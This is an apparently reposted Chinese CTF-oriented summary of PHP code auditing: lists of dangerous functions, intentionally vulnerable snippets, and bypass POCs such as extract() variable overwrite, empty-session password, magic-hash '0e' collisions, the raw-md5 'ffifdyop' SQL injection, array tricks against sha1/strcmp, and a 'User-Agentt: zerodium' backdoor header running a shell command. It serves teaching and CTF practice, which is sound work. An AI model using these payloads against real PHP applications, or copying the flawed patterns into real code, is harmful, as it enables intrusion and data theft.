php代码审计总结

转载自白帽子社区 作者:tzzzez

在php中可由用户输入的变量

$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES

存在命令注入的函数

system
exec
passthru
shell_exec
popen
proc_open
pcntl_exec

存在XSS和CSRF的函数

echo
print
printf
vprintf
<%=$test%>

存在文件包含的函数

include
include_once
require
require_once
show_source
highlite_file
readfile
flie_get_contents
fopen

存在代码注入的函数

eval
preg_replace
assert
call_user_func
call_user_func_array
create_function

存在SQL注入的语句

insert
update
select
delete

文件管理函数

copy
rmdir
unlink
delete
fwrite
chmod
fgetc
fgetcsv
fgets
fgetss
file
file_get_contents
fread
readfile
ftruncate
file_put_contents
fputcsv
fputs

对于此类函数,可以使用php伪协议进行一个绕过。

<?php
$a=$_GET['a'];
if(stripos($a,'.'))
{
    echo 'no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="WHT is a good family!")
{
    require("flag.txt");
    echo "flag";
}
?>

GET形式传入参数a,a不能含有.,且变量a必须为WHT is a good family!

使用php伪协议进行一个传参。

php代码审计总结_数组

文件上传函数

move_uploaded_file

变量覆盖函数

extract

<?php
 
$flag='flag.txt';
extract($_GET);
 if(isset($a))
 {
    $content=trim(file_get_contents($flag));
    //将flag文件的内容赋值给content变量
    if($a==$content)
    {
        echo'ctf{xxx}';
    }
   else
   {
    echo'no';
   }
   }
 
?>

"extract($_GET)"此函数将GET传入的参数都重新赋值了, $content的值为flag.txt的内容,只有a和content的值相等时,才会输出flag,所以将$flag赋值一个不存在的文件,那么$content的值也就为空,此时$content也就变的可控了。

POC:

a=&flag=tzzzez

Session绕过

<?php
 
$flag = "flag{xxxx}";
 
session_start();
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print 'Wrong';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

Session的password在未登陆时为空,我们只要上传一个空的paasword即可绕过。
php代码审计总结_字符串_02

比较相等绕过

MD5
md5('240610708')==md5('QNKCDZO')
md5('aabg7XSs')==md5('aabC9RqS')
SHA1
sha1('aaroZmOk')==sha1('aaK1STfY')
sha1('aaO8zKZF')==sha1('aa3OFF9m')
明文
'0010e2'=='1e3'
'0x1234Ab'=='1193131'
'0xABCdef'==' 0xABCdef'

弱类型整型比较

<?php
 
error_reporting(0);
$flag = "flag{test}";
 
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric");   
if($temp>1336){
    echo $flag;
}
 
?>

当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
POC:
password=1377a

MD5函数true绕过

$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";

ffifdyop
129581926211651571912466741651878684928

preg_match绕过

1.数组绕过
2.回溯次数限制绕过
3.添加换行符 \n 和 %0a

strpos()绕过

strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null。

sha1()绕过

<?php
 
$flag = "flag{xxxx}";
 
if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo 'Your password can not be your name!';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo 'Invalid password.';
}
else
    echo 'Login first!';
?>

需要构造一对哈希值相等但明文不同的字符串,这里sha1函数无法处理数组,当处理数组时会报错返回False,这样就使得2个参数的哈希值“相等”,这里传参2个不同的数组即可绕过所有if。

php代码审计总结_数组_03

MD5碰撞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675

PHP版本存在漏洞的函数

User-Agentt: zerodiumsystem("cat /flag");
值不等MD5相等,用两个不能MD5转换的值就可以。

传数组,strcmp()用两个无法比较的值,数组和字符串不可比较。

A lion doesn't concern himself with the opinions of a sheep.